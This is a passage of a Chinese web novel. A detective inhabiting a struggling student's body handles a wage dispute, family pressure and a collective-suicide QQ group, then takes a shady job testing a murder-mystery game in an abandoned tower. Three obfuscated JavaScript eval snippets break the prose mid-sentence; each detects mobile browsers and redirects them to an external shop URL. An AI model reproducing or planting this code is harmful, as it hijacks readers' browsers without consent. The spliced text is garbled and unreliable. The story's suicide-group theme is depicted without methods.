“这么大人了和人说话都不会看人眼睛,有没有礼貌?告诉你,别以为考得好以后肯定混得好,你这样的,进了社会就傻眼!” “他说得挺有道理。”任珊珊的声音再次响起,“我应该先假装答应下来,把学费生活费骗到手再走。” 然而当时的任珊珊显然没这么做,她满怀怨气地告诉任二自己申请了助学贷款,去省外读书了,毕业后坚决不会回乡。 这次从任二嘴里吐出的不是烟雾,而是横飞的唾沫星子:“好啊,你长本事了!这屋里的东西你一件都不许带走!” “最后我爸默许我妈给我收拾行李,还给了路费和一个月生活费。我的父母不是一点不爱我,只是带着目的爱我一点点。” 任珊珊的声线开始颤抖:“我宁愿他们不爱我。” 眼前的景色再次变化,幻忆师重新拿到身体的控制权。 先袭击她的是牙疼,强烈的针刺感牵引着从下巴到耳根的半张脸。她舔了舔那颗牙齿,环顾四周。 她发现自己正坐在诞江师范大学操场的看台上,远处是下沉至天际线的夕阳。 她的手上戴着一副半掌手套,胳膊上戴着套袖,这个组合奇怪极了。 幻忆师做的第一件事是用指纹解锁任珊珊的手机,现代社会人类的一大半秘密都藏在手机里。 点开扣扣,先看见的不是新生群,不是班级群,也不是宿舍群,任珊珊的置顶群叫自由落体的两个原则。 群主叫一天一苹果,头像是黑白苹果,他拉了个新人进群,新人的昵称是“。”,头像是纯白色背景。 一天一苹果:大家欢迎新人。 。:大家好 阿律:我们这种群有什么好欢迎的? David:新人怎么称呼,就叫你句号吗 句号没有回答,群里的人开始自顾自聊起了天,其中阿律发言最活跃。 幻忆师往前翻了翻聊天记录,阿律是个家里很有钱,但父母只给钱从不陪她的高中生。 她在学校的人际关系也很差,总是在群里大篇幅描述自己被霸凌的恐怖过程,恐怖到幻忆师觉得直接报警可以把霸凌者和老师校长全送进去。 但她也很喜欢用一种拙劣的,自以为掩饰得很好的方式炫富,比如现在。 阿律:我爸说有惊喜给我,我以为他要回国陪我过节,结果只是一个爱马仕新包。打开门发现是快递小哥时我还能忍着不哭,签完字直接哭了。 可怜的快递小哥,送个快递把客户送哭了一定很害怕,幻忆师想。 通知栏里蹦出来一条私信,是一个二次元粉发美少女头像,幻忆师点了进去。 黑茶:姗姗你看见了吗?她这次不把新包照片发群里了,是因为上次被David发现图是盗的后不敢了吗 黑茶是群友,幻忆师刚翻完群成员列表,任珊珊昵称叫姗姗来迟。 再翻聊天记录,黑茶自称是个地下偶像,没活动时就开直播聊天跳宅舞。 奇怪的是,她发现至少有一半成员都有个标着“熄灭了”的牌子挂在昵称前,群里有人喊阿律发个包包照片,阿律爆发了。 阿律:我都这么难过了,没人安慰我一下,还要我发包,包有什么可看的! 一天一苹果:别难过了阿律,晚上算好时差和爸爸打个电话吧。 黑茶的私聊又发了过来:苹果脾气太好了,我是群主早把她踢了。不过幸好我不是群主,群主只能苹果来当 所以你们这个群是做什么的?幻忆师又看了一眼群名,自由落体的两个原则,是物理爱好者群?新进群的句号突然说话了。 。:活动什么时候举行?阿律来参加活动,再也不会难过了 群里一下子没了声音,没人回答句号的问题,也没人继续聊天,直到苹果给出回复。 一天一苹果:上次举行效果不理想,一方面是没什么人参加,另一方面是参加的人中途放弃。说实话我不想管了,大家有计划自己执行,说到底这种事不需要多人一起。 。:不想多人一起为什么建这个群 一天一苹果:因为没人想走到最后一步。 句号没再回复苹果,群里沉寂了一会,David开始抱怨他的基金一片绿,完全在手里套牢了,并且发愁凑不出钱该怎么办。 很神奇的是,他抱怨的同时,另一个女群友在抱怨被奇葩客户为难的事。 两个人自己说自己的,完全没有交集,群里的人好像早习惯了,没人理他们。 这到底是个什么群,活动是什么?幻忆师查询群历史公告和群文件,什么也没发现。 群聊天记录翻到一半,一个微信电话打进来了,备注的名称是老板。 幻忆师不接电话,把手机调到静音,先打开微信查看任珊珊和老板的聊天记录。 任珊珊在学校外小吃街的奶茶店打工,下午1点左右,老板发来一条警告。 老板:说了多少次不要带你那个手套,你刚才又被客人投诉了。我上次说过,再被投诉工资减半 任珊珊:可是我在半掌手套外面套了塑料手套,没有任何违规操作。您也知道我的情况,工资减半我连饭都吃不上,求求您了 老板:求我没用,客人写差评了,我的店这么多年没一个差评。你去求客人吧,求人家把差评删了 下午5点左右,先是几个未接电话,老板又给任珊珊发了微信。 老板:接电话 老板:接电话啊!你人呢 【未接通】 老板:不接电话也没用,店里有监控。培训你的时候说过多少次,榨冰沙必须先盖紧盖子,你就是不听。现在好了,冰沙机坏了,撒出来的冰沙把电线全泡了 老板:你做好赔钱准备,这不是扣工资能解决的事 电话铃声锲而不舍地播放,幻忆师接起电话,电话那边是老板怒气冲冲的声音: “你胆子这么大,闯了祸就想跑?我告诉你,你这个电话不接我都准备报警了!” “多少钱,我给您打工抵。” “谁雇你谁有病!”老板喊道,“你连个冰沙都打不好,还能干什么?” “冰沙机2000,电工过来修电路花了800,你赔吧,不赔我先报警再找你们老师。” “我会赔的。”幻忆师冷静地说,“但冰沙机是完全坏了吗,能不能给厂家邮寄修一下?如果完全坏了,是不是可以按折旧价赔偿?” 老板冷笑:“看不出来,你还懂讨价还价?我那是新的,你全价赔,不赔我报警!” “您报警吧,我希望警察来了后我们能协商出一个合理的赔偿价格,我也会把事情告诉我的父母和辅导员。给您添麻烦真是不好意思,钱我会赔,但不是您说多少我赔多少。” 学生工之所以被喜欢,不仅因为他们便宜好用,还因为他们好欺负。 幻忆师继续彬彬有礼地说:“既然店里有监控,麻烦您把事发时整段监控发给我,我这边想找律师看一下。” “凭什么给你?”老板底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281812|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气有点不足了,“你之前可不是这个样子。” “既然是经营事故,那总得定责。”幻忆师很诚恳,“监控发给我,请专业人士看一下,如果是我的责任,这期间的营业额损失也赔给您。” 老板憋了一会,恶狠狠说:“你等着,我马上报警!” 他不会报警的,幻忆师笃定地想。电话被挂断后,幻忆师开始翻任珊珊的微信。 原来任珊珊早就找了律师,但律师说要收诉讼费后任珊珊没敢回复。 至于投诉事件,竟然是刘天怡导致的,刘天怡1点左右带着黑哥去任珊珊打工的奶茶店买饮品。 等待期间,刘天怡大声问任珊珊为什么还戴着半掌手套,看起来很热,旁边带着孩子买冰激凌的妈妈皱着眉评价不卫生。任珊珊当时太忙了,听见他们说话,但没空理他们。 任珊珊忍不住在微信上找刘天怡说了这件事。 任珊珊:天怡,我被投诉了 刘天怡:啊?为什么投诉 任珊珊:因为半掌手套,你来店里提手套的事被人听到了 刘天怡:你怪我?如果你不戴哪来的这种事?说到底是你太奇怪了吧 任珊珊:你认识投诉的那个人吗,老板让我找她删差评 刘天怡:我怎么可能认识她,什么意思,你以为是我投诉的你?你少血口喷人,我要去告诉辅导员 后面是任珊珊一连串的解释和道歉。 幻忆师认为,任珊珊是因为被投诉和被刘天怡误会两件事叠加在一起,才失手打翻冰沙机的。 微信界面再往下翻,还有任珊珊找她爸要钱的记录,她爸回复:你不如去买。 小学毕业的爸爸连买和卖都分不清,幻忆师叹了口气。 她的牙齿又开始一抽一抽地发疼,绝对坏到牙神经了。幻忆师微微张开嘴,尝试减轻牙齿间的压力,并没有好转多少。 手机性能不太好,刚刚打了一会电话,机身开始发烫。幻忆师把手机贴在脸颊上,试图用热度缓解疼痛。 又一个电话打进来,是任珊珊的妈妈,幻忆师接起来,等对面先说话。 “妈妈给你发红包。”妈妈的声音压得很低,好像是怕爸爸听到,“你爸说得太过分了,别理他。” 幻忆师把微信通话界面缩小,满怀期待地点开红包。 “......16元钱?”幻忆师忍不住质疑出声,她以为妈妈发错了。 “珊珊,妈妈今天给人包饺子包了一天。”妈妈委屈地说,“一共100元,50给弟弟留着,他得娶媳妇,开销比你们大。” “剩下50块钱,你、你爸爸和你弟弟一人一份,谁都不少。” 就当任珊珊妈妈数学不好吧,幻忆师想。不过16元钱节省点能吃4天饭,这么一想,又觉得宽慰很多。 幻忆师道谢:“谢谢妈妈。” “那......”妈妈欲言又止,似乎在期盼着什么。 幻忆师恍然大悟:“妈,你赚了100元,一分都不给自己留啊?” 妈妈心花怒放:“都给你们,看你们好我就开心。” “寒假回家吧,和你爸服个软,你弟弟也想你了,他成绩不好,你多辅导他......” “妈,有同学找我。”幻忆师直接打断,妈妈才恋恋不舍地挂了电话。 任珊珊妈妈有种朴素且坦然的偏心。分钱这事换个人来说,会告诉女儿只赚了50,平分给你们三人,绝对不会承认自己偏心眼。 幻忆师没和妈妈说谎,刘天怡同学真的来找她了,而且是带着人来的。 和刘天怡一起来的是位女老师,看起来刚研究生毕业,一副文文气气的样子,应该是她们的辅导员。 “任珊珊,辅导员要找你谈话!”刘天怡中气十足地冲看台喊,把附近学生吸引地不断往这边看。 辅导员尴尬地解释:“也不是谈话,就是想和珊珊聊聊。珊珊,去我办公室吧。” 幻忆师坐在看台上,居高临下地看着她们,觉得十分无趣。 37. 灰色兼职 三个人沉默地到了办公室,辅导员先把刘天怡支走:“我想和珊珊单独聊一下。” 刘天怡不情愿地答应了,临走前特意绕到前面看了一眼幻忆师的正脸。 等门被关上,刘天怡走远了,辅导员无奈地说:“你的室友,她总是这样吗?” “这样是哪样?” “这样的......强势。”辅导员委婉地找了个微妙的词来形容刘天怡。 幻忆师不说话,辅导员温柔地说:“你们上了大学,是成年人。” “但成年人不是必须抗下所有事,更何况是刚成年的学生。有什么事和老师说,老师帮你想办法。” 不是不想说话,幻忆师的喉咙像被锁住一样,什么声音都发不出来。 她其实准备把事情直接告诉辅导员,让学校出面帮忙解决,但任珊珊明显不是这么做的,也不允许她这么做。 辅导员给她倒了杯水,看她还是一言不发,有些为难地说:“是不是寝室关系不好?” 幻忆师立刻点了点头,这是她唯一能做的事。 “刚开学,大家多多少少都有点这种情况。但你们这届招生人数多,寝室没有空位置,我去帮你协调一下,看看有没有同学愿意换寝吧。” 把水杯往她的方向推了推,辅导员继续说:“换寝不是大事,你不要有心理负担,有什么事都可以和我说。” 辅导员一脸期待地看着她,奈何幻忆师一个字都说不出来,只能说出告别的话:“谢谢您,没别的事我先走了。” 留下有些失落的辅导员,幻忆师走出办公室,看见电梯前等她的刘天怡。 “喂,你是不是遇上麻烦了?需要钱吗,我可以帮你。”刘天怡抱着胳膊堵在电梯门口。 “没有。” “是没有还是不要我管?”刘天怡盯着她的眼睛,“你给我打个欠条,我不收你利息。” “没别的代价?” “代价?”刘天怡重复了一遍,“我是债主,你对我尊重点,先把那个破手套扔了——喂,你要去哪?” 幻忆师狠狠撞了刘天怡的肩膀,越过她按电梯,电梯门打开的同时,幻忆师在她耳边轻轻说:“说真的,你不适合读师范。” 电梯门完全合上前还能听见刘天怡气得跳脚的喊声:“你回来,你什么意思啊!” 没什么意思,所有的一切都无聊极了,这到底是什么游戏?任珊珊的悲惨人生吗?幻忆师再次拿出手机,她恨不得在手机上找到退出键。 手机上没有退出键,苹果发来的一条私聊让事情变得有趣起来。 一天一苹果:听黑茶说你缺钱,想做兼职吗?一万。 幻忆师点开苹果的账号,账号上没有任何个人信息,连地址都是乱填的。 她操控任珊珊的账号回复:什么兼职给那么多 一天一苹果:别误会,不是那种兼职,但也不是什么正经兼职,灰色兼职你听说过吗? 不仅听说过,而且她有做灰色兼职的委托人。一位女性委托人曾找到她,说自己在做一个报酬极高的兼职。 兼职要求每晚12点拿指定的手机号码外呼,用客服专属语气问:“您好,请问您确定自己死了吗?” 委托人为了钱一直做这份工作,但身体状况越来越不好,于是找到幻忆师请她调查。最后查出是犯罪团伙提醒客户到货的暗语,真是虚惊一场。 但幻忆师还是回复:没听说过 一天一苹果:就是有潜在危险,和人们惧怕的事物沾边的兼职。不过我们这种人无所谓啦,如果世界上真有那种东西,我希望它们能立刻杀死我,你也不在乎吧? “我们这种人”是什么人?幻忆师看着苹果厌世的话语,联想到群名自由落体的两个原则,还有群里永远颓废沮丧的群友,突然明白了一切。 自由落体指跳楼自杀,群里说的活动是集体自杀,“熄灭了”的牌子是已经自杀的人。 幻忆师久久凝视着苹果的最后一句话,她问:你也去吗 一天一苹果:我去,去的都是群里人。 姗姗来迟:兼职哪来的,去的都是谁 一天一苹果:到底去不去? 奶茶店老板又发来要赔款的信息,幻忆师回复苹果:去,几点,在哪 一天一苹果:兼职相关信息有人给你送过去,里面的钱是定金。 姗姗来迟:定金?老板是谁,那么大方,不怕我拿钱不做事吗 一天一苹果:你不敢。 幻忆师等了一会,苹果没找她要地址。 她心中有个猜测,所谓的“你不敢”,可能是老板神通广大,知道她的地址,所以不怕她拿钱不办事。 果不其然,半小时后一个标记着快递送餐的电话打了进来:“喂,我是同城跑腿,你的东西到了。” 沉吟片刻,幻忆师说:“地址留的哪里?” “诞江师范大学,这个地址够笼统的。”跑腿小哥抱怨。 “寄件人是谁,你从哪取的件?” 跑腿小哥奇怪地问:“跑腿件哪来的寄件人?我从平台接单,在一个快递柜拿的。你到底拿不拿?我还有下一单要送。” “你现在在哪?” “我看看......附近有个学生第二食堂。” “把东西放食堂进门靠窗的桌子上。”幻忆师果断说,“放完就走。” “不会丢吗?”跑腿小哥不放心。 “你录音,丢了我全责,绝对不找你赔。” 跑腿小哥二话不说,把包裹放在食堂空桌子上。 事实证明,幻忆师想得太多,跑腿小哥是真的跑腿,他放下包裹急匆匆走了。 幻忆师还不放心,总觉得兼职发布人在暗处守株待兔。 她拿出侦查与反侦察的全副本领,在食堂对过的教学楼二楼找了个瞭望点,蹲了一小时,半点收获也没有。 她略微感到烦躁,过去拿起包裹,找个没人没监控的地方拆封。 包裹里是一张打印出的兼职指南和一个信封,信封里装着不连号的10张100元老旧钞票和一张房卡。 幻忆师把钱胡乱塞口袋里,先看那份指南。 【兼职指南 你好,剧情编织者,欢迎你加入剧本成为剧情的一部分。 薪酬:1万元,定金为薪酬10%,以现金方式结清。 工作地点:诞江市轻北区木风道56号寰宇大厦13楼 工作内容:今晚12点前到达轻北区爱家宾馆,用房卡进入房间,换上本次兼职提供的服装,按照附件中指定路线进入寰宇大厦,实地测试新剧本杀作品。测试过程中听从主持人安排,禁止中途退出。 注意事项:本次测试剧本杀为5人本,如果有多出来的玩家,不要声张,找到机会单独向主持人报告。兼职可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296516|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能会有危险,务必保证每个人都遵循主持人的引导。】 现在是晚上8点,距离12点还有4个小时,从诞师大所在的下稍区坐地铁到轻北区要一个半小时,下地铁后在里面绕来绕去地找宾馆至少用一小时。 没错,轻北区就是这么地形混乱的地方。 诞江市轻北区最早是这座城市的边缘地带,荒凉的土地上只有几座工厂拔地而起,后来一个丑陋破败的城中村围绕着工厂建立。 再后来城市无限扩张,轻北区不再是边缘区域,人们开始重视环保问题。 工厂全被挪到远离城市的地方,城中村也被尽量改建,但因种种原因无法全部拆迁。 近几年,轻北区跟上时代的浪潮被划分为互联网产业园区,孕育了不少知名企业。 大部分企业发达后就会搬离轻北区,然而寰宇大厦的前产权所有人寰宇金融不一样。 寰宇是做互联网金融起家的,发达后把少得可怜的线下业务留在市中心金碧辉煌的办公楼里装点门面。然后在轻北区投重金建了一栋写字楼,取名寰宇大厦。 幻忆师之所以对寰宇集团这么熟悉,是因为她间接接触过寰宇的总裁,也是寰宇创始人。 寰宇能成功,全靠这位总裁的手段。 当初互联网金融刚刚发展,缺乏有效监管。寰宇和电商平台合作,利用电商流量推广自家比银行定期利率略高的产品,吸揽大量存款。 然后把存款拿去放网贷,再拿着漂亮的财报吸引投资人,一轮一轮融资,用这种空手套白狼的方式越做越大。 当寰宇如日中天时,他们总裁派秘书给幻忆师一个委托,让她查大老黄的底细。 侦探工作干久了发现全是熟人。 幻忆师没问为什么,假装查了两天,痛快地把大老黄那点暴力催收的事全告诉人家。 秘书一声不吭地回去报告总裁,回来后给她封了一个大红包。 看见到账金额时,幻忆师很吃惊。 秘书解释,委托幻忆师后,他们又进行背调,发现她和大老黄关系密切,于是委托了另一位侦探查大老黄。 在幻忆师这里得到和另一位侦探同样的结果后,他们总裁很高兴。 总裁说,大老黄不是个值得合作的人,但幻忆师值得,多出来的钱全当做下次合作的定金。 秘书小姐礼貌地转述完这一番话就告辞了。 幻忆师好奇地上网搜索寰宇总裁,发现总裁是位不到35岁的海归女博士,之前竟然是做纯学术研究的,叫郑海彬。 她当时很期待下一次合作,也期待见到郑海彬女士本人。可是郑海彬很快从诞江销声匿迹,寰宇大厦也人去楼空。 互联网金融极端的模式引来强力监管,寰宇被罚款近七十亿,不允许电商平台再推荐任何存款、理财和保险产品。 不止一个高管从寰宇大厦13楼顶层一跃而下,他们人生的前20年在学校不分昼夜地做题,后20年在公司没日没夜地加班,但从13楼下来只需要3秒钟。 据说多年后的今天,半夜经过寰宇大厦附近,还能听见咚咚的跳楼声。 从此,寰宇大厦彻底空置下来,没人敢接手一座闹鬼的不动产。 幻忆师在地铁上查询郑海彬的去向,她听见广播播报:“互联网产业园区即将到站......” 郑海彬的照片被她保存在手机相册中。 38. 深坑 下了地铁,幻忆师先把钱收好,1000元定金她不准备动,关键时刻这是赎命钱。 任珊珊卡里的余额加上妈妈给的16元红包,一共还剩35元。 她先花15买了个手电筒,寰宇大厦废弃好几年,电路系统早就瘫痪了,任珊珊的手机性能又差,很可能在关键时刻掉链子。 剩下20元躺在微信钱包里,幻忆师看向路边的小饭店,愉快地决定先吃饱再说别的。 饭店离寰宇大厦很近,近到能远远看见大厦顶上斑驳的字。幻忆师进店后习惯性向里走,坐在最里面拐角处的位置。 店老板抬头看了她一眼,也没招呼她。幻忆师扫码点餐,毫不客气地选了一碗20元的排骨饭。 等饭端上来,她开始啃排骨的时候,店里又进来两个人。 现在将近11点,饭店快要打烊,老板一副欲言又止的样子,好像不想做他们生意。 两人中穿白衬衫打领带的青年男人赶紧说:“老板,先来两瓶酒!你这儿有烧烤吗?” 老板没再吭声,开了两瓶啤酒给他们。另一个穿着保安服的中年男人有些局促地说:“经理,我一会还得回去,喝酒不好吧?” “害,就一瓶,老吴你不会连一瓶的量都没有吧?这顿我请,你吃什么?” 两个人坐在离门很近的位置,幻忆师看不清他们的长相,只能看见背影。 他们互相推让一番,吃到一半,男经理接了个电话:“老张,是我,怎么了?” 电话对面的老张似乎说了什么要紧的事,男经理回答: “哎呦,那你快去,没事,我替你和老吴说,我在他这儿。” 接完电话,男经理对老吴说:“是老张,他明天白天得陪他媳妇去看病,想值今天的夜班,老吴你能和他换个班吗?” 不用值夜班谁都愿意,老吴一口答应下来,放开了喝酒。 幻忆师突然加快吃饭速度,迅速把饭吃完后,她慢吞吞地站起来,边走边假装在手机上回复信息,路过两人时偷拍了一张照片。 加快脚步找到爱家宾馆,幻忆师给前台看照片:“见过这个穿白衬衫的男人吗?” “没见过,找他干什么?”前台头也不抬。 幻忆师笑了笑,把房卡拿给前台看:“我是他女朋友,他刚才把房卡给我,然后人不见了。麻烦你再仔细看看,你应该见过他。” 前台终于舍得抬头看一眼照片:“他7点多开完房就走了。” “开了几间?” “只有你手里这一间啊,还能开几间?”前台奇怪地看着她。 男经理和兼职发布人绝对是一伙的,他狡猾又谨慎,把参与测本的人分别指引到不同的宾馆换衣服。 那位和他一起吃饭的老吴很可能是给寰宇大厦看门的保安,被男经理调虎离山。 幻忆师刷卡进入房间,拿上衣服转头就走。 她来到提前找好的一间公厕,才打开衣服仔细看。 这是一套全黑的宽大衣服,配有黑手套、黑帽子和能把脸全部遮住的脸基尼防晒面罩。 甚至贴心地准备了一副黑泳镜,能把脸基尼唯一露出的眼睛全部遮住,还不用担心泳镜像墨镜一样从脸上滑落。 幻忆师换上黑衣服,把任珊珊的衣服藏起来,借着公厕旁商店的玻璃照了照镜子,感觉自己像个古代杀手。 幸亏现在是深更半夜,兼职指南为了避开监控,给的路线都是羊肠小道,不然街上的陌生人看见她这身打扮必然会吓到尖叫。 幻忆师贴着建筑的阴影走到寰宇大厦正门,她在门前驻足,抬头观察大厦。 大厦外墙用的是几年前很流行的蓝色玻璃,想必寰宇集团还在时,每块玻璃都会雇人精心擦洗,此时却蒙上一层厚厚的灰。 顶部立着“寰宇集团”四个红色大字,团字有一半消失了,露出内里纵横交错的钢筋。 倏然间狂风大作,黑云遮住月亮,宇字的宝盖头被吹得哐当作响,像是随时会掉下来。 幻忆师裹紧衣服翻越围墙。 她先到保安室看了一眼,里面果然没人,这印证了她的猜想。 幻忆师猜测自己一会能在测本现场遇见那位经理。 她从脑中调取小饭店里的回忆,清晰地复习经理的一举一动,再根据他的坐高推测身高,争取等兼职开始后一眼将他认出来。 一口气爬上13楼,幻忆师打开手电,准备先独自把整个场地巡视一遍。 出了楼梯间眼前是一大片开放式办公区,桌子上的电脑主机和显示器基本上都被收去卖了,只剩下零星几台破烂机器。 这一层的钢化玻璃被打碎好几扇,窗户下堆着玻璃碎片,冷风呼呼地往屋内灌。 幻忆师穿过开放式区域,突然停下脚步。 幸好她买了手电筒,面前是个巨大的坑洞,坑洞的另一侧是一间间办公室和会议室。 她走到坑洞旁,用手电筒向下照,手电的一小束光照不到坑底。 漆黑的深坑里像是有什么怪物。 幻忆师旋转手电筒,勉强看清下一层洞,12层的洞比13层大上不少。 从1楼到13楼,每层相同的位置都有一个洞,越往下的楼层洞越大,站在13楼向下看,如同一个富有层次的无底深渊。 最怪异的是,深坑底部有个隐隐约约亮着的东西,散发着昏暗的黄光。 幻忆师又走近一点,尝试把底下的东西看清楚。 “小心,别掉下去。” 一个陌生的低沉男声突兀地响起,把幻忆师吓了一跳。 她猛然抬起手电,用光照亮和她说话的人。 那人居然在坑洞的另一侧,他身后有扇虚掩的门,像是刚从门里走出来。 陌生男人用手挡住刺眼的光:“对不起,是不是吓到你了?” 他穿着和幻忆师一样的黑衣服,背着一个双肩背包,身高1米85左右,体型消瘦。 幻忆师微微有些失望,男人不是之前见过的经理。 那名经理坐高在90厘米以下,身高绝对不超过1米75,和男人的身高匹配不上。 幻忆师把手电筒移开,先道歉:“确实被吓一跳,不好意思照到你眼睛了。” 男人连连摆手说没事,幻忆师问:“怎么到对面去?” 男人给她指明方向。 原来大坑最右边有一小片网状的裸露钢筋,连接开放式办公区和对面的一间间小办公室。 幻忆师用脚踩了踩钢筋,确保钢筋足够结实。 男人走过来向前伸出手臂:“别害怕,我扶你。” 幻忆师不害怕走钢筋,相比之下,陌生人突然伸出的援手更让她害怕。 她婉拒:“谢谢你,不用了,你站对过我紧张。” 男人尴尬得像只螃蟹,横着挪回他原来的位置。 很好,保持安全距离。 幻忆师把手电筒叼在嘴里,打开双臂,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306163|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平衡木般快速走过去。 “你也是来做兼职的?”幻忆师把嘴里的手电取下来,向男人出现的房间走去,房间的门上挂着第一会议室的牌子。 “啊?对。”男人懵了一下才回答幻忆师的问题。 他们一前一后地进入会议室。 会议室里破败得不成样子,瓷砖被砸碎后露出水泥地面。 整整两面墙都是实木柜子,上面摆放的奖杯和相框被砸得稀烂,连一些好拆的木板都被卸走了。 可能因为实木太沉,柜子没被搬走,幻忆师猜柜门里的东西早被拿走了。 桌子前摆放着六把办公椅,椅子和桌子刚被擦干净,成团的纸巾被扔在旁边。 “刚搬来的椅子,擦完还没来得及收拾。”男人尴尬地把纸巾聚拢在一起,“这地方太脏了,不过很有氛围。” 他好奇地看向幻忆师:“我以为这是恐怖本,我一个人主持就够了,没想到是双主持,你看过主持人手册吗?” “啊?”这次换成幻忆师懵了。 不过她很快意识到,他就是兼职指南里提到的主持人。 幻忆师之前以为主持人是兼职发布人派来的,通过主持人能查出兼职的底细。 但面前的主持人明显和神秘的发布人没关系,他也是来兼职的,而且误以为幻忆师是同行。 干脆将错就错,幻忆师装作才反应过来:“对,我也是主持,接完兼职后我还奇怪怎么没给我剧本,原来有另一位主持人啊。” 幻忆师没玩过剧本杀,只知道一个大概的形式,不知道双主持是什么情况,她趁着还没暴露赶紧套话:“我叫阿任,怎么称呼你?” “叫我荆轲吧。” “荆轲?”荆轲刺秦王,谁都学过的课文,这绝对不是真名,不过灰色兼职没必要报真名。 “哈哈,在上一家店用的花名。” “那你是我前辈。”幻忆师立刻为自己必然会暴露的经验不足找借口,“我刚入行没多久。” “前辈,我们是不是得先看看主持人手册呀?” “实际上我也想看,拿人家那么多钱不能盲开。”荆轲把沉重的背包卸下来,从里面拿出一个上锁的盒子。 “但给我的兼职指南里说,只有等玩家们玩完游戏,盒子才能解锁,剧本和主持人手册都在盒子里。” 怪不得他进屋只擦桌子不做别的,不能看本也没别的事可做。 幻忆师问:“是老板规定必须在这间会议室玩吗?” 荆轲反问:“兼职指南上不是写了吗?这间会议室氛围最好,才选的这里。” 幻忆师赶紧解释:“我的意思是,会不会有玩家不敢过钢筋?那么深一个坑,怪危险的。” 网格状钢筋四周没有任何防护措施,胆子小的肯定不敢走。 “兼职指南上还真没说怎么办。”荆轲习惯性挠挠头发,但只挠到黑帽子。 “我是为了钱来的,测本的玩家们应该也是为了钱来的吧,希望钱能让他们克服恐惧。” “但愿吧。”幻忆师跟着附和,“坑里那个发光的东西是什么?” “什么发光的东西?” “在深坑最底下,发着微弱黄光,你没看见吗?” 荆轲奇怪地看了她一眼,推开会议室的门,探头向下看。 坑里什么也没有,只有一片黑色的深渊。 “阿任。”荆轲紧张地说,“玩家还没来呢,你别现在就开始搞氛围。” 39. 叫你领导来 幻忆师当然不是在讲鬼故事,刚才她分明用手电筒照见一个黄色发光的东西,她后悔没买个更亮的手电。 她只能哈哈一笑:“可能是我看错了。” “也不知道这个坑怎么来的。”荆轲撑着膝盖往坑里看,“像是被什么怪物从地底一拳打穿了。” “前辈,别搞恐怖氛围,玩家们还没来呢。” 幻忆师话刚说完,远处传来楼梯间大门被推开的响声。 荆轲喊:“这边!” 他的声音在寂静的大楼中传出去很远,进来的人似乎被他的热情吓到,停顿了一下才继续往前走。 第三名到达者从身形看是个女人,她直接走到深坑的最右边,一言不发地通过钢筋。 幻忆师微微皱眉,女人熟练得像是之前来过这里。 “你好,怎么称呼?”荆轲问。 女人不说话,她掏出手机在屏幕上打字:我不方便说话,叫我哑巴 幻忆师和荆轲面面相觑,荆轲忍不住问:“那你一会怎么测本?” 哑巴:靠打字 荆轲神色凝重,明显感受到巨大的压力,估计他从业多年还没带过哑巴玩家。 哑巴:我打字很快 幻忆师赶紧安慰:“别紧张,说不定正好有个角色不用说话。” 楼梯间的门轻轻响了一声,像是被打开一条缝,有个人小心翼翼地钻进来。 好像是个女孩子,幻忆师望着远处的人影想。 “不、不好意思,我是不是来晚了?”新来的人胆怯地问。 居然不是女孩子,是个瘦弱的男孩子,只比任珊珊高一点,听声音感觉刚成年。 “没晚,你叫什么?” “我叫......白茶。” 是你吧,黑茶。幻忆师简直不忍心看他,他起假名甚至只换一个字。 不过群里的黑茶人设是二次元美少女,做地下偶像还当主播的美少女不知道为什么是个男孩子。 幻忆师不戳破他的身份,告诉他钢筋的位置让他走过来。 白茶拿手机一照,吓得后退几步:“这么深!” 黑色的脸基尼面罩都遮不住他惨白的脸色,他简直把惨白这个词具象化了。 他说:“我不敢过去。” 幻忆师和荆轲都没强迫他过来,只是和他有一句没一句地聊天。 在他们聊天时,13楼又进来一个人。 这个人身高1米8左右,身姿挺拔,愣是把一身全黑蒙面刺客服穿出西装革履的感觉,他手上甚至还有支腕表。 “晚上好,我是来参加剧本杀测试的。” 他的架势倒像是来面试的:“我叫威士忌。” 自我介绍完毕,他立刻翻手腕看表,然后又整理袖口。 整个楼层安静了5秒,善良的白茶第一个打破寂静,结结巴巴地和威士忌打招呼。 等众人都自我介绍完毕,威士忌发表自己的见解:“我是不会在没有保护措施的情况下通过钢筋的。” “用人单位雇佣我来这里办公,必须保证我的安全,比起一张薄薄的指南,我更期望签署一份正规合同。” 他忽然对荆轲和幻忆师说:“你们二位是在场的工作人员吗?” “呃,我们是本场主持人。”荆轲糊里糊涂地回答。 “你们要对我们的安全负责。”威士忌又呼吁白茶和哑巴,“我们三个要团结一点,这么不安全的设施简直是草菅人命!” 荆轲解释:“其实我们也是来兼职的——” “我不管你是兼职还是正式职工!”威士忌强有力地打断荆轲的话,“你站在那里,代表的就是主办方,你有义务对我们所有人负责!” 